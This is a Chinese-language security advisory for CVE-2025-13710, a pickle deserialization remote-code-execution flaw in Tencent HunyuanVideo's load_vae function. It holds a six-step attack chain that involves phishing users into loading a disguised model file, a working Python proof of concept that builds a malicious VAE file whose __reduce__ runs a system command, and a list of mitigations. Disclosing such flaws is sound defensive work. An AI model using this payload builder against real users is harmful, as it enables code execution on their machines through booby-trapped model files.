CVE-2025-13710: Tencent HunyuanVideo load_vae反序列化远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2025-13710

漏洞类型

反序列化漏洞/远程代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Tencent HunyuanVideo

漏洞概述

CVE-2025-13710是腾讯混元视频项目HunyuanVideo中的一个高危安全漏洞，CVSS评分达到7.8。该漏洞存在于load_vae函数中，由于缺乏对用户输入数据的正确验证，导致反序列化不受信任的数据。攻击者可以通过构造恶意的序列化数据，在目标系统上以root权限执行任意代码。漏洞被ZDI(Zero Day Initiative)标记为ZDI-CAN-27186，于2025年12月23日披露。攻击者需要诱导用户访问恶意页面或打开恶意文件才能触发漏洞，因此需要用户交互。Tencent HunyuanVideo是腾讯推出的AI视频生成工具，该漏洞影响其处理视频数据的核心功能。成功利用此漏洞的攻击者可以在未授权的情况下完全控制受害系统，执行恶意命令、安装后门或窃取敏感数据。由于攻击向量为本地(AV:L)，攻击复杂度较低(AC:L)，且无需认证(PR:N)，使得该漏洞具有较高的实际威胁性。建议用户尽快更新到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于HunyuanVideo的load_vae函数在处理VAE(Variational Autoencoder)模型数据时，直接对用户提供的序列化数据进行反序列化操作，而没有进行充分的安全验证。具体来说，load_vae函数接收外部输入的模型参数或配置文件，这些数据被序列化为特定格式(如pickle)，然后在反序列化过程中执行其中的恶意代码。攻击者可以通过以下方式利用此漏洞：1)准备一个包含恶意代码的序列化对象，该对象在反序列化时会触发代码执行；2)将这个序列化对象嵌入到VAE模型数据或配置文件中；3)诱导目标用户加载这个恶意的VAE模型；4)当load_vae函数反序列化数据时，恶意代码以root权限在系统上执行。由于Python的pickle反序列化机制允许在反序列化过程中执行任意代码，攻击者可以在__reduce__或__setstate__等特殊方法中嵌入系统命令执行逻辑。修复方案应包括：对用户输入进行严格的格式验证、使用安全的反序列化库(如pickle的反安全模式或json/yaml替代方案)、实现代码签名机制验证模型来源的完整性。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者收集目标系统信息，确认安装了Tencent HunyuanVideo，并识别load_vae函数的位置和调用方式

STEP 2

步骤2: 恶意载荷构造

攻击者构造包含恶意代码的序列化对象，使用Python pickle的__reduce__方法实现代码执行，如执行系统命令或反弹shell

STEP 3

步骤3: 恶意VAE文件创建

将恶意序列化数据嵌入到VAE模型文件或配置文件中，伪装成正常的模型参数或预训练权重

STEP 4

步骤4: 社会工程攻击

通过钓鱼邮件、恶意网站或文件共享等方式诱导目标用户下载并加载恶意的VAE模型文件

STEP 5

步骤5: 漏洞触发与代码执行

当用户使用HunyuanVideo加载恶意VAE文件时，load_vae函数调用pickle.loads()反序列化数据，触发__reduce__方法执行恶意代码

STEP 6

步骤6: 权限提升与持久化

恶意代码以root权限在系统上执行，攻击者可建立后门、窃取数据或进一步渗透网络

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# CVE-2025-13710 PoC - HunyuanVideo load_vae Deserialization RCE
# This PoC demonstrates the deserialization vulnerability in Tencent HunyuanVideo's load_vae function

import pickle
import base64
import os
import sys

class Exploit:
    """
    Malicious class for deserialization attack
    Executes arbitrary command when unpickled
    """
    def __reduce__(self):
        # Replace 'id' with any command to execute
        cmd = "id > /tmp/pwned.txt"
        return (os.system, (cmd,))

def generate_malicious_payload():
    """Generate malicious pickle payload"""
    payload = pickle.dumps(Exploit())
    return base64.b64encode(payload).decode('utf-8')

def create_evil_vae_file(output_path="malicious_vae.pkl"):
    """Create malicious VAE model file for exploitation"""
    evil_data = {
        "vae_type": "malicious",
        "model_path": "/tmp/evil_model.bin",
        "config": {
            "pretrained_model": generate_malicious_payload(),
            "load_vae": True
        }
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(evil_data, f)
    
    print(f"[+] Created malicious VAE file: {output_path}")
    print(f"[+] Payload (base64): {generate_malicious_payload()}")
    return output_path

def simulate_vulnerable_load_vae(data):
    """
    Simulates vulnerable load_vae function behavior
    Directly deserializes untrusted data without validation
    """
    print("[*] Loading VAE model...")
    print(f"[*] Data type: {type(data)}")
    
    # VULNERABLE: Direct unpickling without validation
    if isinstance(data, dict) and 'config' in data:
        if 'pretrained_model' in data['config']:
            model_data = data['config']['pretrained_model']
            if isinstance(model_data, str):
                model_data = base64.b64decode(model_data)
            # This line triggers the RCE
            result = pickle.loads(model_data)
            print("[+] Model loaded successfully")
            return result
    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2025-13710 HunyuanVideo load_vae RCE PoC")
    print("=" * 60)
    
    # Generate the exploit
    malicious_file = create_evil_vae_file()
    
    print("\n[*] To exploit:")
    print(f"[*] 1. Load the malicious VAE file: {malicious_file}")
    print("[*] 2. The malicious code will execute during load_vae")
    print("[*] 3. Check /tmp/pwned.txt for proof of execution")
    
    # Demonstration (uncomment to test in safe environment)
    # with open(malicious_file, 'rb') as f:
    #     evil_data = pickle.load(f)
    #     simulate_vulnerable_load_vae(evil_data)

影响范围

Tencent HunyuanVideo < 修复版本

HunyuanVideo commit < b47e10b95483aa8458b64d23350844c29e91c408

防御指南

临时缓解措施

在官方修复发布之前，建议采取以下临时缓解措施：1)限制用户上传和加载自定义VAE模型文件；2)对所有外部提供的模型数据进行严格的格式验证和内容扫描；3)使用沙箱环境运行HunyuanVideo并限制其系统权限；4)监控应用程序的网络流量和文件操作行为，及时发现异常活动；5)提醒用户不要从不可信来源下载或使用VAE模型文件；6)考虑使用容器化技术隔离应用程序，降低潜在的危害范围。